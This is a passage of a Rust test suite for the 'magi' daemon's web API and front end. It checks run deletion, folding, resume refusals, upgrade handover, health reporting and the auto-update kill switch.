10420        assert_eq!(res.status, 409);
10421        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
10422        assert!(dir2.exists(), "unfolded run directory is kept");
10423
10424        // 4. Missing id returns 404
10425        let res = fx.delete("/api/runs/nonexistent").await;
10426        assert_eq!(res.status, 404);
10427    }
10428
10429    /// The queue tiles on the Stats tab must render even on a home with no
10430    /// runs at all: queue state is not derived from run history, so hiding
10431    /// the whole dashboard body behind "no runs yet" would drop the one
10432    /// thing this tab promises unconditionally (queued/running/held/done).
10433    /// A DOM-level test would need a browser this suite does not have, so
10434    /// this pins the same invariant textually: `renderStatsQueue` is called
10435    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
10436    /// block that gates the run-derived panels.
10437    #[test]
10438    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
10439        let start = APP_JS
10440            .find("function renderStats() {")
10441            .expect("renderStats");
10442        let end = start
10443            + APP_JS[start..]
10444                .find("function statsTile(")
10445                .expect("the next top-level function");
10446        let body = &APP_JS[start..end];
10447
10448        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
10449        let gate_end = gate_start
10450            + body[gate_start..]
10451                .find("}\n  renderStatsQueue")
10452                .expect("the gate's own closing brace, right before the unconditional call");
10453        let gated = &body[gate_start..gate_end];
10454
10455        assert_eq!(
10456            body.matches("renderStatsQueue(").count(),
10457            1,
10458            "renderStats must call renderStatsQueue exactly once: {body}"
10459        );
10460        assert!(
10461            !gated.contains("renderStatsQueue"),
10462            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
10463             run-derived panels on an empty run history - the queue panel has to render \
10464             regardless: {gated}"
10465        );
10466    }
10467
10468    #[test]
10469    fn web_ui_delete_contract_in_front_end() {
10470        // 1. API block has both delete endpoints
10471        assert!(APP_JS.contains("deleteRun:"));
10472        assert!(APP_JS.contains("deleteTask:"));
10473
10474        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
10475        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
10476            ..APP_JS.find("function renderRuns").unwrap()];
10477        assert!(!run_cards_slice.to_lowercase().contains("delete"));
10478
10479        // 3. Run detail has delete entry and reasons
10480        assert!(APP_JS.contains("renderRunDelete"));
10481        assert!(APP_JS.contains("runDeleteReason"));
10482        assert!(APP_JS.contains("magi fold"));
10483        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
10484
10485        // 4. Two-step delete arming and focus on Cancel
10486        assert!(APP_JS.contains("cancel.focus"));
10487        assert!(APP_JS.contains("armedRunDelete"));
10488        assert!(APP_JS.contains("armedDelete"));
10489
10490        // 5. Running task has disabled delete
10491        assert!(APP_JS.contains("disabled: status === \"running\""));
10492    }
10493
10494    /// Every element a run card's updater reaches for must be in the `refs`
10495    /// the builder handed it.
10496    ///
10497    /// `createRunCard` builds its elements, appends them to the card, and then
10498    /// lists them again in `row.refs`. That second list is the one the updater
10499    /// uses, and nothing connects the two - an element can be built, appended
10500    /// and rendered, and still be missing from `refs`. `superseded` was, for
10501    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
10502    /// exception took `syncList` with it, and the deck showed
10503    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
10504    /// line is computed before the cards, which is why the failure looked like
10505    /// a server that had lost its runs rather than a front end that had
10506    /// stopped rendering them.
10507    ///
10508    /// A `cargo test` cannot execute the front end, so this reads the two
10509    /// halves out of the source and compares them as sets. It is not a check
10510    /// on the wording of either list: adding an element, renaming one, or
10511    /// reordering them all keeps this passing, and only using one the builder
10512    /// never published fails it.
10513    #[test]
10514    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
10515        let build = APP_JS
10516            .find("function createRunCard")
10517            .expect("createRunCard exists");
10518        let update = APP_JS
10519            .find("function updateRunCard")
10520            .expect("updateRunCard exists");
10521        let end = APP_JS
10522            .find("function renderRuns")
10523            .expect("renderRuns exists");
10524
10525        // The builder's published set: the object literal assigned to `refs`.
10526        let builder = &APP_JS[build..update];
10527        let open = builder.find("refs = {").expect("createRunCard sets refs");
10528        let literal = &builder[open + "refs = {".len()..];
10529        let close = literal.find('}').expect("the refs literal is closed");
10530        let published: HashSet<&str> = literal[..close]
10531            .split(',')
10532            // `name` and `name: value` both bind `name`.
10533            .filter_map(|entry| entry.split(':').next())
10534            .map(str::trim)
10535            .filter(|name| !name.is_empty())
10536            .collect();
10537        assert!(
10538            published.len() > 5,
10539            "the refs literal did not parse into names: {published:?}"
10540        );
10541
10542        // What the updaters reach for: every `r.<name>`, where `r` is the
10543        // `const r = row.refs` alias both functions open with.
10544        let mut used: Vec<&str> = Vec::new();
10545        let updaters = &APP_JS[update..end];
10546        for (at, _) in updaters.match_indices("r.") {
10547            // `r` must be the whole identifier, not the tail of another one
10548            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
10549            let before = updaters[..at].chars().next_back();
10550            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
10551                continue;
10552            }
10553            let rest = &updaters[at + 2..];
10554            let len = rest
10555                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
10556                .unwrap_or(rest.len());
10557            if len > 0 {
10558                used.push(&rest[..len]);
10559            }
10560        }
10561        assert!(
10562            used.len() > 5,
10563            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
10564        );
10565
10566        let missing: Vec<&str> = used
10567            .iter()
10568            .copied()
10569            .filter(|name| !published.contains(name))
10570            .collect();
10571        assert!(
10572            missing.is_empty(),
10573            "a run card's updater reaches for {missing:?}, which `createRunCard` \
10574             never put in `refs` - every card will throw and the list will \
10575             render empty under a count line that says otherwise. Published: \
10576             {published:?}"
10577        );
10578    }
10579
10580    #[tokio::test]
10581    async fn folding_from_the_phone_reports_what_it_removed() {
10582        let fx = Fixture::start().await;
10583        let runs = fx.runs();
10584
10585        // A run with no candidates has nothing to fold, which is a 200 with an
10586        // honest count rather than an error: the operator asked for the trees
10587        // to be gone and they are.
10588        let id = "20260901-000000-fold";
10589        write_run(&runs, id, RunStatus::Stalled);
10590        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10591        assert_eq!(res.status, 200);
10592        assert_eq!(res.json()["removed_count"], 0);
10593        assert_eq!(res.json()["run"], id);
10594        assert!(
10595            runs.join(id).exists(),
10596            "a fold keeps the run's record; only the worktrees go"
10597        );
10598    }
10599
10600    #[tokio::test]
10601    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
10602        let fx = Fixture::start().await;
10603        let runs = fx.runs();
10604        let wt = fx.home.path().join("wt").join("magi").join("dead");
10605        let id = "20260901-000000-dead";
10606        std::fs::create_dir_all(runs.join(id)).expect("run dir");
10607        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10608        std::fs::create_dir_all(&wt).expect("worktree dir");
10609
10610        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10611        assert_eq!(res.status, 200, "{}", res.body);
10612        assert!(
10613            res.json()["removed_count"].as_u64().unwrap() > 0,
10614            "the worktree this build could not read a state for still went"
10615        );
10616        assert!(
10617            !runs.join(id).exists(),
10618            "an unreadable run has no candidate list to fold selectively, so \
10619             the whole record goes - same as `magi fold` on the CLI"
10620        );
10621    }
10622
10623    #[tokio::test]
10624    async fn deleting_an_unreadable_run_removes_it_wholesale() {
10625        let fx = Fixture::start().await;
10626        let runs = fx.runs();
10627        let wt = fx.home.path().join("wt").join("magi").join("gone");
10628        let id = "20260901-000000-gone";
10629        std::fs::create_dir_all(runs.join(id)).expect("run dir");
10630        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10631        std::fs::create_dir_all(&wt).expect("worktree dir");
10632
10633        let res = fx.delete(&format!("/api/runs/{id}")).await;
10634        assert_eq!(res.status, 204, "{}", res.body);
10635        assert!(!runs.join(id).exists(), "the broken record is gone");
10636        assert!(!wt.exists(), "its worktree is gone too");
10637    }
10638
10639    #[tokio::test]
10640    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
10641        let fx = Fixture::start().await;
10642        let runs = fx.runs();
10643        let id = "20260901-000000-live";
10644        write_run(&runs, id, RunStatus::Implementing);
10645
10646        let mut beat = crate::daemon::Status::new();
10647        beat.current = vec![crate::daemon::Current {
10648            task: "20260901-000000-task".to_owned(),
10649            run: id.to_owned(),
10650        }];
10651        beat.updated_at = jiff::Timestamp::now();
10652        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10653            .expect("publish a heartbeat");
10654
10655        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10656        assert_eq!(res.status, 409);
10657        assert!(
10658            res.json()["error"]
10659                .as_str()
10660                .unwrap()
10661                .contains("live daemon"),
10662            "folding under a running agent would pull its worktree away"
10663        );
10664    }
10665
10666    #[tokio::test]
10667    async fn fold_merged_requires_a_pr_url() {
10668        let fx = Fixture::start().await;
10669        let runs = fx.runs();
10670        let id = "20260901-000000-nourl";
10671        write_run(&runs, id, RunStatus::Blocked);
10672
10673        let res = fx
10674            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
10675            .await;
10676        assert_eq!(res.status, 400, "{}", res.body);
10677
10678        let blank = fx
10679            .post(
10680                &format!("/api/runs/{id}/fold-merged"),
10681                Some(r#"{"pr_url":"   "}"#),
10682            )
10683            .await;
10684        assert_eq!(blank.status, 400, "{}", blank.body);
10685    }
10686
10687    #[tokio::test]
10688    async fn fold_merged_is_404_for_an_unknown_run() {
10689        let fx = Fixture::start().await;
10690        let res = fx
10691            .post(
10692                "/api/runs/nosuchrun/fold-merged",
10693                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10694            )
10695            .await;
10696        assert_eq!(res.status, 404, "{}", res.body);
10697    }
10698
10699    #[tokio::test]
10700    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
10701        let fx = Fixture::start().await;
10702        let runs = fx.runs();
10703        let id = "20260901-000000-livemerge";
10704        write_run(&runs, id, RunStatus::Blocked);
10705
10706        let mut beat = crate::daemon::Status::new();
10707        beat.current = vec![crate::daemon::Current {
10708            task: "20260901-000000-task".to_owned(),
10709            run: id.to_owned(),
10710        }];
10711        beat.updated_at = jiff::Timestamp::now();
10712        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10713            .expect("publish a heartbeat");
10714
10715        let res = fx
10716            .post(
10717                &format!("/api/runs/{id}/fold-merged"),
10718                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10719            )
10720            .await;
10721        assert_eq!(res.status, 409, "{}", res.body);
10722        assert!(
10723            res.json()["error"]
10724                .as_str()
10725                .unwrap()
10726                .contains("live daemon"),
10727            "correcting a run's merge underneath a running agent would race \
10728             whatever it is doing to the same `status`/`merge` fields"
10729        );
10730    }
10731
10732    /// A pull request `gh` cannot even ask about (no such remote, no such
10733    /// repository) must never be recorded as a merge on a guess - the same
10734    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
10735    /// command line, reached here through the phone route instead.
10736    #[tokio::test]
10737    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
10738        let fx = Fixture::start().await;
10739        let runs = fx.runs();
10740        let id = "20260901-000000-unconfirmed";
10741        write_run(&runs, id, RunStatus::Blocked);
10742
10743        let res = fx
10744            .post(
10745                &format!("/api/runs/{id}/fold-merged"),
10746                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10747            )
10748            .await;
10749        assert_eq!(res.status, 400, "{}", res.body);
10750        assert_eq!(
10751            read_run(&runs, id).unwrap().status,
10752            RunStatus::Blocked,
10753            "a pull request that could not be confirmed merged must leave \
10754             the run exactly where it was"
10755        );
10756    }
10757
10758    #[tokio::test]
10759    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
10760        let fx = Fixture::start().await;
10761        let runs = fx.runs();
10762
10763        // Only a finished run and a failed one. An *interrupted* run - a
10764        // parked one, or one whose daemon was killed mid-node - is the case
10765        // resuming exists for: run 4043 sat at `reviewing` with the deck
10766        // saying it could not be resumed, which was the one state where
10767        // resuming was the only sensible answer.
10768        for (status, word) in [
10769            (RunStatus::Merged, "merged"),
10770            (RunStatus::Ready, "ready"),
10771            (RunStatus::Failed, "failed"),
10772        ] {
10773            let id = format!("20260901-000000-{}", &word[..4]);
10774            write_run(&runs, &id, status);
10775            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
10776            assert_eq!(res.status, 409, "{word} must not be resumable");
10777            let err = res.json()["error"].as_str().unwrap().to_owned();
10778            assert!(err.contains(word), "the refusal names the status: {err}");
10779        }
10780
10781        // And an interrupted run is accepted: 202, with the resume running in
10782        // the background. `Runner::resume` fails immediately here - the
10783        // fixture's run points at a repository that does not exist - which is
10784        // the point: the handler must not wait for it to find out.
10785        let mid = "20260901-000000-midf";
10786        write_run(&runs, mid, RunStatus::Reviewing);
10787        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
10788        assert_eq!(res.status, 202, "an interrupted run is resumable");
10789    }
10790
10791    #[tokio::test]
10792    async fn resume_is_refused_while_the_loop_is_running() {
10793        let fx = Fixture::start().await;
10794        let runs = fx.runs();
10795        let stalled = "20260901-000000-stal";
10796        write_run(&runs, stalled, RunStatus::Stalled);
10797
10798        // The loop is busy with a *different* run, and that is still a
10799        // refusal: a manual resume must never race whatever the loop itself
10800        // is already driving, whether that is one run or several.
10801        let mut beat = crate::daemon::Status::new();
10802        beat.current = vec![crate::daemon::Current {
10803            task: "20260901-000000-task".to_owned(),
10804            run: "20260901-000000-othr".to_owned(),
10805        }];
10806        beat.updated_at = jiff::Timestamp::now();
10807        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10808            .expect("publish a heartbeat");
10809
10810        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
10811        assert_eq!(res.status, 409);
10812        let err = res.json()["error"].as_str().unwrap().to_owned();
10813        assert!(err.contains("othr"), "it names what the loop is on: {err}");
10814        assert!(err.contains("stop it first"), "{err}");
10815    }
10816
10817    #[test]
10818    fn a_run_cannot_be_resumed_twice_at_once() {
10819        let home = TempDir::new().expect("temp home");
10820        let ui = Ui::new(
10821            Queue::at(home.path().join("queue")),
10822            Questions::at(home.path().join("questions")),
10823            Talks::at(home.path().join("talks")),
10824            home.path().join("runs"),
10825            home.path().to_path_buf(),
10826            PathBuf::from("/repo"),
10827        )
10828        .with_worktrees_root(home.path().join("wt"));
10829        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
10830        let again = ui.begin_resume("20260901-000000-once");
10831        assert!(again.is_err(), "a second tap must not start a second graph");
10832        drop(first);
10833        assert!(
10834            ui.begin_resume("20260901-000000-once").is_ok(),
10835            "and the claim is released when the attempt ends"
10836        );
10837    }
10838
10839    #[test]
10840    fn talk_thinking_tracks_only_its_held_turn_claim() {
10841        let home = TempDir::new().expect("temp home");
10842        let ui = Ui::new(
10843            Queue::at(home.path().join("queue")),
10844            Questions::at(home.path().join("questions")),
10845            Talks::at(home.path().join("talks")),
10846            home.path().join("runs"),
10847            home.path().to_path_buf(),
10848            PathBuf::from("/repo"),
10849        )
10850        .with_worktrees_root(home.path().join("wt"));
10851        let id = "20260901-000000-once";
10852
10853        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
10854        let turn = ui.begin_talk_turn(id).expect("claim turn");
10855        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
10856        assert!(
10857            !ui.is_thinking("20260901-000000-other"),
10858            "one talk's turn does not make another talk busy"
10859        );
10860        drop(turn);
10861        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
10862    }
10863
10864    #[tokio::test]
10865    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
10866        let fx = Fixture::start().await;
10867        // Somebody else's `magi serve` owns the queue. Replacing this binary
10868        // would leave that process running an old one against the same
10869        // claims, which is worse than refusing.
10870        let mut beat = crate::daemon::Status::new();
10871        beat.pid = 4321;
10872        beat.updated_at = jiff::Timestamp::now();
10873        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10874            .expect("publish a heartbeat");
10875
10876        let res = fx.post("/api/upgrade", None).await;
10877        assert_eq!(res.status, 409);
10878        let err = res.json()["error"].as_str().unwrap().to_owned();
10879        assert!(err.contains("4321"), "the refusal names the owner: {err}");
10880        assert!(err.contains("old one against the same queue"), "{err}");
10881    }
10882
10883    /// [`should_spawn_recheck`] must refuse for the same two reasons
10884    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
10885    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
10886    /// Purely a predicate over config and the environment - no network, no
10887    /// disk, no runtime - so unlike the fixture-based tests around it this
10888    /// one needs neither.
10889    #[test]
10890    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
10891        assert!(!should_spawn_recheck(&crate::config::Update {
10892            mode: UpdateMode::Off,
10893            interval: None,
10894        }));
10895
10896        // SAFETY: single-threaded as far as this variable goes, the same
10897        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
10898        unsafe {
10899            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10900        }
10901        let killed = should_spawn_recheck(&crate::config::Update {
10902            mode: UpdateMode::Notify,
10903            interval: None,
10904        });
10905        unsafe {
10906            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10907        }
10908        assert!(
10909            !killed,
10910            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
10911             one-time startup check"
10912        );
10913
10914        assert!(should_spawn_recheck(&crate::config::Update {
10915            mode: UpdateMode::Notify,
10916            interval: None,
10917        }));
10918    }
10919
10920    /// [`recheck_poll_period`] must track a configured `[update] interval`
10921    /// shorter than its own default ceiling - a fixed sleep here would leave
10922    /// an operator's short interval waiting on the next wake-up instead of on
10923    /// `should_check`, which is the same bug this whole task exists to fix,
10924    /// just one level down.
10925    #[test]
10926    fn recheck_poll_period_tracks_a_short_configured_interval() {
10927        let short = crate::config::Update {
10928            mode: UpdateMode::Notify,
10929            interval: Some("1m".to_owned()),
10930        };
10931        let period = recheck_poll_period(&short);
10932        assert!(
10933            period <= Duration::from_secs(30),
10934            "a one-minute interval must wake the task far sooner than the \
10935             default ceiling, or the deck would not notice within the \
10936             interval the operator configured: got {period:?}"
10937        );
10938
10939        let default = crate::config::Update {
10940            mode: UpdateMode::Notify,
10941            interval: None,
10942        };
10943        assert_eq!(
10944            recheck_poll_period(&default),
10945            UPDATE_RECHECK_POLL_MAX,
10946            "the default day-long interval should poll at the (capped) \
10947             ceiling rather than needlessly often"
10948        );
10949    }
10950
10951    /// [`update_recheck_due`] must not repeat a check made moments ago, the
10952    /// same throttle `updater::Checker::should_check` already gives the
10953    /// CLI's notify mode. Built over an explicit state file via
10954    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
10955    /// write the operator's real `last_update_check.json` - and therefore
10956    /// cannot flake on whatever that file happens to say on the machine
10957    /// running the test.
10958    #[test]
10959    fn recheck_skips_the_network_before_the_interval_elapses() {
10960        let dir = TempDir::new().expect("temp dir");
10961        let path = dir.path().join("state.json");
10962        let state = kaishin::UpdateCheckState {
10963            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10964            last_known_latest: None,
10965            last_known_url: None,
10966        };
10967        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10968
10969        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10970        assert!(
10971            !update_recheck_due(&checker, None),
10972            "a check made moments ago must not be repeated before the \
10973             configured interval elapses"
10974        );
10975    }
10976
10977    /// An upgrade this deck already started must not be raced by a recheck
10978    /// that discovers a newer release mid-install - regardless of what
10979    /// `should_check` says, which is why the state file here is missing
10980    /// entirely: read alone, that alone would answer "never checked, go
10981    /// ahead".
10982    #[test]
10983    fn recheck_defers_to_an_upgrade_already_in_flight() {
10984        let dir = TempDir::new().expect("temp dir");
10985        let path = dir.path().join("state.json");
10986        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10987        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10988
10989        assert!(
10990            !update_recheck_due(&checker, Some(&progress)),
10991            "a recheck must not run while an upgrade this deck started is \
10992             still moving"
10993        );
10994    }
10995
10996    #[tokio::test]
10997    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10998        // The same env var the background check honours (`disabled_by_env`)
10999        // must also stop a button press before it ever calls
11000        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
11001        // means "never contact GitHub from this process", and a tap on the
11002        // upgrade button must not override that any more than a broken
11003        // `magi.toml` may. Left unset, this fixture's default config would
11004        // otherwise reach a real, unauthenticated GitHub call.
11005        //
11006        // SAFETY: single-threaded as far as this variable goes - nothing else
11007        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
11008        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
11009        unsafe {
11010            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
11011        }
11012        let fx = Fixture::start().await;
11013        let res = fx.post("/api/upgrade", None).await;
11014        unsafe {
11015            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
11016        }
11017        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11018        let body = res.json();
11019        assert!(body["to"].is_null(), "there was no release to move to");
11020        assert!(body["parked"].is_null(), "and nothing was parked");
11021        assert!(
11022            body["detail"]
11023                .as_str()
11024                .unwrap()
11025                .contains("disabled by MAGI_NO_AUTOUPDATE"),
11026            "{body:?}"
11027        );
11028    }
11029
11030    #[tokio::test]
11031    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
11032        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
11033        // and the route answers from its own logic.
11034        //
11035        // This test used to lean on the fixture's placeholder repo failing
11036        // config discovery, which left `mode = "notify"` - and a live,
11037        // unauthenticated call to the GitHub releases API inside a unit test.
11038        // GitHub allows 60 of those an hour per address, so the suite went red
11039        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
11040        // long as somebody kept re-running it: every attempt spent another
11041        // request. Six reruns across four pull requests were charged to that
11042        // before it was read as a rate limit rather than a flake.
11043        //
11044        // What the assertion is about is the "already current" branch, which
11045        // is reached by there being no newer release *or* nowhere to look. The
11046        // second one needs no network and cannot be rate limited.
11047        let repo = TempDir::new().expect("repo dir");
11048        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11049            .expect("write magi.toml");
11050        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11051
11052        // It must answer 200 and leave the process alone: restarting for an
11053        // upgrade that did not happen parks the run in flight and drops every
11054        // connection to pay for nothing. A probe against a deck already on the
11055        // newest build did exactly that, which is how this case got its own
11056        // branch.
11057        let res = fx.post("/api/upgrade", None).await;
11058        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11059        let body = res.json();
11060        assert!(body["to"].is_null(), "there was no release to move to");
11061        assert!(body["parked"].is_null(), "and nothing was parked");
11062        assert!(
11063            body["detail"]
11064                .as_str()
11065                .unwrap()
11066                .contains("nothing restarted"),
11067            "{body:?}"
11068        );
11069    }
11070
11071    #[tokio::test]
11072    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
11073        // `mode = "off"` for the same reason as the test above: a default
11074        // fixture repo falls back to `mode = "notify"`, which would make this
11075        // route's new `update` field a live, unauthenticated GitHub call on
11076        // every assertion in this suite that happens to hit `/api/health`.
11077        let repo = TempDir::new().expect("repo dir");
11078        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11079            .expect("write magi.toml");
11080        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11081
11082        let health = fx.get("/api/health").await.json();
11083        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
11084        assert_eq!(
11085            health["update"]["available"], false,
11086            "checking is off, which reads as \"unknown\", not \"none\""
11087        );
11088        assert!(health["update"]["to"].is_null());
11089        assert!(
11090            health["upgrade"].is_null(),
11091            "nothing has ever asked this deck to upgrade"
11092        );
11093    }
11094
11095    #[tokio::test]
11096    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
11097        let fx = Fixture::start().await;
11098        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
11099
11100        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11101        progress.parked_run = Some("20260905-000000-cd51".to_owned());
11102        progress.advance(crate::updater::Stage::Parking);
11103        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11104
11105        let health = fx.get("/api/health").await.json();
11106        assert_eq!(health["upgrade"]["stage"], "parking");
11107        assert_eq!(health["upgrade"]["from"], "0.5.1");
11108        assert_eq!(health["upgrade"]["to"], "0.5.2");
11109        let waiting_on = health["upgrade"]["waiting_on"]
11110            .as_str()
11111            .expect("waiting_on is set while parking a known run");
11112        assert!(waiting_on.contains("cd51"), "{waiting_on}");
11113        assert!(waiting_on.contains("implementing"), "{waiting_on}");
11114    }
11115
11116    #[tokio::test]
11117    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
11118        let fx = Fixture::start().await;
11119        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11120        progress.advance(crate::updater::Stage::Done);
11121        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11122
11123        let health = fx.get("/api/health").await.json();
11124        assert_eq!(health["upgrade"]["stage"], "done");
11125        assert!(
11126            health["upgrade"]["waiting_on"].is_null(),
11127            "nothing to wait on once it is done"
11128        );
11129    }
11130
11131    #[tokio::test]
11132    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
11133        let home = TempDir::new().expect("temp home");
11134        let runs = home.path().join("runs");
11135        std::fs::create_dir_all(&runs).expect("runs dir");
11136        let ui = Ui::new(
11137            Queue::at(home.path().join("queue")),
11138            Questions::at(home.path().join("questions")),
11139            Talks::at(home.path().join("talks")),
11140            runs,
11141            home.path().to_path_buf(),
11142            PathBuf::from("/repo/magi"),
11143        )
11144        .with_launch(launch_idle);
11145        let looping = ui.looping();
11146        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11147            .await
11148            .expect("bind loopback");
11149        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11150
11151        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11152        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
11153
11154        hand_over(home.path(), &looping, served, |_| Ok(()))
11155            .await
11156            .expect("hand over");
11157
11158        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
11159        assert_eq!(
11160            after.stage,
11161            crate::updater::Stage::Restarting,
11162            "hand_over owns the record through parking and up to restarting; \
11163             the successor is what finishes it"
11164        );
11165    }
11166
11167    fn idle_ui(home: &TempDir) -> Ui {
11168        let runs = home.path().join("runs");
11169        std::fs::create_dir_all(&runs).expect("runs dir");
11170        Ui::new(
11171            Queue::at(home.path().join("queue")),
11172            Questions::at(home.path().join("questions")),
11173            Talks::at(home.path().join("talks")),
11174            runs,
11175            home.path().to_path_buf(),
11176            PathBuf::from("/repo/magi"),
11177        )
11178        .with_launch(launch_idle)
11179    }
11180
11181    /// Run `hand_over` against `ui` and return what the successor was told.
11182    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
11183        let looping = ui.looping();
11184        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11185            .await
11186            .expect("bind loopback");
11187        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11188        let told = std::sync::Mutex::new(None);
11189        hand_over(home.path(), &looping, served, |resume| {
11190            *told.lock().unwrap() = Some(resume);
11191            Ok(())
11192        })
11193        .await
11194        .expect("hand over");
11195        told.into_inner().unwrap().expect("successor was started")
11196    }
11197
11198    #[tokio::test]
11199    async fn a_running_loop_is_resumed_by_the_successor() {
11200        let home = TempDir::new().expect("temp home");
11201        let ui = idle_ui(&home);
11202        ui.start_loop(None).expect("start");
11203        ui.park_for_upgrade().expect("park");
11204        // The idle loop sees the park and ends before the handover fires.
11205        for _ in 0..500 {
11206            if !ui.loop_view(None).running {
11207                break;
11208            }
11209            tokio::time::sleep(Duration::from_millis(2)).await;
11210        }
11211        assert!(handed_over(&home, ui).await, "a running loop must resume");
11212
11213        let successor = idle_ui(&home);
11214        assert!(!successor.loop_view(None).running);
11215        assert!(successor.resume_after_handover(true));
11216        assert!(successor.loop_view(None).running);
11217        successor.stop_loop(None, false).expect("stop");
11218    }
11219
11220    #[tokio::test]
11221    async fn a_second_upgrade_request_keeps_the_resume_intent() {
11222        let home = TempDir::new().expect("temp home");
11223        let ui = idle_ui(&home);
11224        ui.start_loop(None).expect("start");
11225        ui.park_for_upgrade().expect("first park");
11226        ui.park_for_upgrade().expect("second park");
11227        assert!(handed_over(&home, ui).await);
11228    }
11229
11230    #[tokio::test]
11231    async fn a_stop_during_the_handover_wait_is_honoured() {
11232        let home = TempDir::new().expect("temp home");
11233        let ui = idle_ui(&home);
11234        ui.start_loop(None).expect("start");
11235        ui.park_for_upgrade().expect("park");
11236        ui.stop_loop(None, false).expect("stop");
11237        assert!(!handed_over(&home, ui).await);
11238    }
11239
11240    #[tokio::test]
11241    async fn an_idle_loop_stays_stopped_across_the_handover() {
11242        let home = TempDir::new().expect("temp home");
11243        let ui = idle_ui(&home);
11244        ui.park_for_upgrade().expect("park");
11245        assert!(!handed_over(&home, ui).await);
11246
11247        let successor = idle_ui(&home);
11248        assert!(!successor.resume_after_handover(false));
11249        assert!(!successor.loop_view(None).running);
11250    }
11251
11252    #[tokio::test]
